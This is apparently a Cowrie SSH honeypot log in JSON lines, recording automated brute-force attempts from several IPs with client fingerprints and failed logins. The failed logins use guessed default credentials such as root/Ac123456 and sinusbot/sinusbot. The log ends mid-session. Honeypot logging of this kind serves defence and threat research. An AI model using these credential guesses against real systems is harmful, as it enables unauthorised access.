{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57948,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d4f0de99071","protocol":"ssh","message":"New connection: 45.153.34.114:57948 (159.203.135.109:22) [session: 0d4f0de99071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:59.117585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:59.122564Z","src_ip":"45.153.34.114","session":"0d4f0de99071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:59.180463Z","src_ip":"103.75.199.4","session":"278408242299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:59.206806Z","src_ip":"45.153.34.114","session":"0d4f0de99071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:59.473638Z","src_ip":"45.153.34.114","session":"0d4f0de99071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:00.562703Z","src_ip":"45.153.34.114","session":"0d4f0de99071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44182,"dst_ip":"159.203.135.109","dst_port":22,"session":"04cdfee09545","protocol":"ssh","message":"New connection: 45.153.34.114:44182 (159.203.135.109:22) [session: 04cdfee09545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:06.440424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:06.444875Z","src_ip":"45.153.34.114","session":"04cdfee09545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:06.528169Z","src_ip":"45.153.34.114","session":"04cdfee09545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:06.790895Z","src_ip":"45.153.34.114","session":"04cdfee09545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:07.878100Z","src_ip":"45.153.34.114","session":"04cdfee09545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43204,"dst_ip":"159.203.135.109","dst_port":22,"session":"39dc26ce08e1","protocol":"ssh","message":"New connection: 45.153.34.114:43204 (159.203.135.109:22) [session: 39dc26ce08e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:14.134733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:14.139034Z","src_ip":"45.153.34.114","session":"39dc26ce08e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:14.228235Z","src_ip":"45.153.34.114","session":"39dc26ce08e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:14.552352Z","src_ip":"45.153.34.114","session":"39dc26ce08e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:15.644080Z","src_ip":"45.153.34.114","session":"39dc26ce08e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52196,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5b6138c5dc","protocol":"ssh","message":"New connection: 103.75.199.4:52196 (159.203.135.109:22) [session: cd5b6138c5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:19.592931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:19.598120Z","src_ip":"103.75.199.4","session":"cd5b6138c5dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:19.688706Z","src_ip":"103.75.199.4","session":"cd5b6138c5dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:19.962524Z","src_ip":"103.75.199.4","session":"cd5b6138c5dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:21.056813Z","src_ip":"103.75.199.4","session":"cd5b6138c5dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59264,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06e59a47e05","protocol":"ssh","message":"New connection: 45.153.34.114:59264 (159.203.135.109:22) [session: f06e59a47e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:21.824235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:21.829163Z","src_ip":"45.153.34.114","session":"f06e59a47e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:21.915522Z","src_ip":"45.153.34.114","session":"f06e59a47e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:22.177904Z","src_ip":"45.153.34.114","session":"f06e59a47e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:23.377369Z","src_ip":"45.153.34.114","session":"f06e59a47e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59272,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb68373b1efc","protocol":"ssh","message":"New connection: 45.153.34.114:59272 (159.203.135.109:22) [session: cb68373b1efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:29.122536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:29.127794Z","src_ip":"45.153.34.114","session":"cb68373b1efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:29.219149Z","src_ip":"45.153.34.114","session":"cb68373b1efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:29.476322Z","src_ip":"45.153.34.114","session":"cb68373b1efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:30.568622Z","src_ip":"45.153.34.114","session":"cb68373b1efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":35286,"dst_ip":"159.203.135.109","dst_port":22,"session":"5de48bee4168","protocol":"ssh","message":"New connection: 20.203.42.204:35286 (159.203.135.109:22) [session: 5de48bee4168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:31.236176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:31.240703Z","src_ip":"20.203.42.204","session":"5de48bee4168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:31.410349Z","src_ip":"20.203.42.204","session":"5de48bee4168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"future","message":"login attempt [root/future] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:32.120681Z","src_ip":"20.203.42.204","session":"5de48bee4168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:33.294495Z","src_ip":"20.203.42.204","session":"5de48bee4168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54192,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a64cdc33194","protocol":"ssh","message":"New connection: 45.153.34.114:54192 (159.203.135.109:22) [session: 0a64cdc33194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:36.571499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:36.576408Z","src_ip":"45.153.34.114","session":"0a64cdc33194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:36.687074Z","src_ip":"45.153.34.114","session":"0a64cdc33194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:36.944717Z","src_ip":"45.153.34.114","session":"0a64cdc33194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:38.037165Z","src_ip":"45.153.34.114","session":"0a64cdc33194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50946,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a3274865537","protocol":"ssh","message":"New connection: 103.75.199.4:50946 (159.203.135.109:22) [session: 7a3274865537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:41.447151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:41.452506Z","src_ip":"103.75.199.4","session":"7a3274865537","protocol":"ssh"}
